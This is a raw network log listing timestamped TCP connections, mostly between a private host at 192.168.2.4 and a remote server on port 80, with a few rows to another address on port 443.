May 10, 2024 09:20:58.116153955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116164923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116166115 CEST	443	49781	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.116175890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116182089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116182089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116200924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116214037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116219997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116225958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116236925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116247892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116255999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116262913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116276979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116285086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116288900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116297007 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116302013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116313934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116324902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116326094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116337061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116348028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116348982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116362095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116364956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116374969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116386890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116398096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116399050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116410017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116419077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116421938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116434097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116441965 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116446018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116456985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116466045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116468906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116481066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116493940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116497993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116507053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116518021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116519928 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116530895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116540909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116544008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116556883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.116565943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.116600990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.117429018 CEST	443	49781	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.117491961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.117506027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.117516994 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.117528915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.117542028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.117553949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.117562056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.117563963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.117604971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.117767096 CEST	49781	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.117851973 CEST	443	49781	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.117930889 CEST	49781	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.118092060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118105888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118117094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118129015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118139029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118139982 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118150949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118163109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118163109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118176937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118189096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118195057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118201017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118211985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118215084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118222952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118235111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118235111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118247032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118257999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118259907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118273020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118284941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118290901 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118297100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118308067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118310928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118324041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118334055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118335962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118346930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118359089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118365049 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118371010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118381977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118383884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118393898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118416071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118422985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118428946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118432045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118442059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118457079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118462086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118472099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118484020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118505001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118505001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118516922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118524075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118530989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118544102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118547916 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118556023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118567944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118572950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118580103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118592978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118609905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118628025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118628979 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118640900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118662119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118664980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118674040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118685961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118697882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118709087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118716955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118720055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118731976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118743896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118745089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118757010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118766069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118768930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118779898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118782043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118794918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118807077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118817091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118825912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118829012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118849993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118853092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118865967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118866920 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118877888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118889093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118897915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118901014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118913889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118918896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118927002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118940115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118946075 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118952036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118963957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118973017 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.118974924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118987083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.118999004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119005919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119010925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119024038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119029999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119039059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119056940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119057894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119070053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119076014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119081974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119092941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119098902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119105101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119116068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119127989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119133949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119139910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119152069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119155884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119163990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119174957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119177103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119188070 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119191885 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119200945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119213104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119223118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119223118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119235992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119246960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119247913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119261980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119266987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119275093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119287968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119292974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119299889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119312048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119323015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119323969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119337082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119348049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119350910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119359970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119368076 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119374037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119385004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119393110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119395971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119407892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119420052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119426012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119432926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119443893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119452000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119456053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119463921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119468927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119481087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119488001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119492054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119503975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119510889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119517088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119528055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119539022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119544029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119550943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119556904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119566917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119580030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119582891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119591951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119604111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119611025 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119616032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119627953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119637012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119638920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119658947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119671106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119683027 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119693995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119703054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119704962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119718075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119724989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119729996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119740963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119749069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119751930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119764090 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119771004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119786024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119802952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119802952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119815111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119827032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119829893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119837999 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119848967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119860888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119867086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119874954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119891882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119904041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119906902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119920015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119940996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119951963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119962931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119970083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.119976044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.119983912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120012999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120078087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120091915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120115042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120126963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120124102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120140076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120152950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120152950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120167017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120177984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120188951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120204926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120213985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120218039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120227098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120238066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120249987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120249987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120261908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120271921 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120275974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120287895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120297909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120301962 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120310068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120322943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120323896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120333910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120345116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120346069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120357990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120363951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120369911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120381117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120393038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120404005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120408058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120426893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120431900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120440006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120451927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120462894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120474100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120484114 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120486021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120498896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120507956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120510101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120522022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120534897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120546103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120548010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120559931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120570898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120583057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120589972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120594978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120605946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120614052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120616913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120629072 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120629072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120644093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120652914 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.120656967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.120671988 CEST	80	49754	34.68.151.162	192.168.2.4
